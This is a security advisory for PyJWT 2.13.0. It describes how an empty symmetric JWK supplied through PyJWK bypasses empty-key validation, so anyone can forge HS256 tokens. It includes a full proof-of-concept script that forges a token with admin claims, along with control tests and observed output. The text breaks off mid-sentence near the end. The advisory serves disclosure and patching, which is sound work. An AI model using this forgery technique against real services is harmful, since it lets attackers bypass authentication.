GitHub Advisoryadvisory · PyPI

GHSA-9j54-fg26-wv3r PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

HIGH Published 2026-09-29 Modified 2026-09-29 Official page ↗
Aliases
CVE-2026-102266
Ecosystem
PyPI
Packages
PyJWT
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weaknesses
CWE-347
Reviewed
2026-09-29

Affected packages

• PyPI PyJWT: >= 2.13.0, < 2.14.0 → fixed in 2.14.0

Description

Summary A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated. PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`. An `oct` JWK containing an empty Base64URL key value: ```json {"kty":"oct","k":""} ``` is decoded to `b""`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key. An attacker can independently calculate `HMAC-SHA256(b"", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated. The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `"k": ""`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list. Details The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`. Raw empty HMAC keys are rejected `[HMACAlgorithm.prepare_key`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key. As a result, an empty raw key is rejected in PyJWT 2.13.0: ```python jwt.decode(token, b"", algorithms=["HS256"]) ``` with `InvalidKeyError`. Empty `oct` JWKs decode to the same key but are accepted `[HMACAlgorithm.from_jwk`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs. For: ```json { "kty": "oct", "k": "" } ``` the empty Base64URL value is decoded to: ```python b"" ``` and returned without an emptiness check. `[PyJWK.__init__`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`. The resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path. `PyJWK` verification bypasses the raw-key validation `[PyJWS._verify_signature`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects. When a `PyJWK` is supplied, verification uses its already-decoded key directly: ```python prepared_key = key.key ``` The value is not passed through: ```python alg_obj.prepare_key(key.key) ``` so the empty-key check in `HMACAlgorithm.prepare_key` is never reached. The minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification. The verifier therefore receives: ```python b"" ``` as the HS256 key. This creates the following difference for identical cryptographic key material: ```text raw b"" -> HMACAlgorithm.prepare_key -> InvalidKeyError {"kty":"oct","k":""} -> HMACAlgorithm.from_jwk -> b"" -> PyJWK.key -> PyJWS._verify_signature -> HMAC verification with b"" -> accepted ``` Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret. This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required. The issue was reproduced against PyJWT 2.13.0 and commit: ```text 7144e4534c34810f4525dc4578a32addd8212cff ``` which was the tip of the public `master` branch at the time of testing. PoC The following PoC reproduces the issue on PyJWT 2.13.0. It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set. Install PyJWT 2.13.0: ```bash python -m venv venv source venv/bin/activate pip install "PyJWT==2.13.0" ``` Save the following as `poc.py`: ```python import base64 import hashlib import hmac import json import time import warnings import jwt from jwt import PyJWKSet from jwt.exceptions import InvalidKeyError, InvalidSignatureError def b64u(value: bytes) -> bytes: return base64.urlsafe_b64encode(value).rstrip(b"=") now = int(time.time()) header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode()) payload = b64u( json.dumps( {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300}, separators=(",", ":"), ).encode() ) signing_input = header + b"." + payload forged = ( signing_input + b"." + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest()) ).decode() jwk = PyJWKSet.from_dict( { "keys": [ { "kty": "oct", "k": "", "kid": "active", "alg": "HS256", "use": "sig", } ] } )["active"] with warnings.catch_warnings(): warnings.simplefilter("ignore") claims = jwt.decode( forged, jwk, algorithms=["HS256"], options={"require": ["exp"]}, ) assert claims["sub"] == "attacker" assert claims["admin"] is True print("VULNERABLE:", claims) try: jwt.decode(forged, b"", algorithms=["HS256"]) except InvalidKeyError: print("CONTROL raw empty key: rejected") else: raise AssertionError("raw empty key was accepted") try: jwt.decode( forged, jwk, algorithms=["HS256"], options={"enforce_minimum_key_length": True}, ) except InvalidKeyError: print("CONTROL strict PyJWK: rejected") else: raise AssertionError("strict PyJWK was accepted") real_key = PyJWKSet.from_dict( { "keys": [ { "kty": "oct", "k": "cmVhbC1zZWNyZXQ", "kid": "active", "alg": "HS256", } ] } )["active"] try: with warnings.catch_warnings(): warnings.simplefilter("ignore") jwt.decode(forged, real_key, algorithms=["HS256"]) except InvalidSignatureError: print("CONTROL non-empty PyJWK: rejected") else: raise AssertionError("non-empty PyJWK accepted an empty-key forgery") ``` Run: ```bash python poc.py ``` Observed output: ```text VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': , 'exp': } CONTROL raw empty key: rejected CONTROL strict PyJWK: rejected CONTROL non-empty PyJWK: rejected ``` The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`. The first control supplies the same key material directly as `b""`. PyJWT 2.13.0 rejects it with `InvalidKeyError`. The second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`. The third control changes onl…

Related

Alias · CVE (1)

  • CVE-2026-102266 PyJWT is a Python implementation of JSON Web Token standards. vulnerability

Weakness · CWE (1)

  • CWE-347 Improper Verification of Cryptographic Signature weakness

References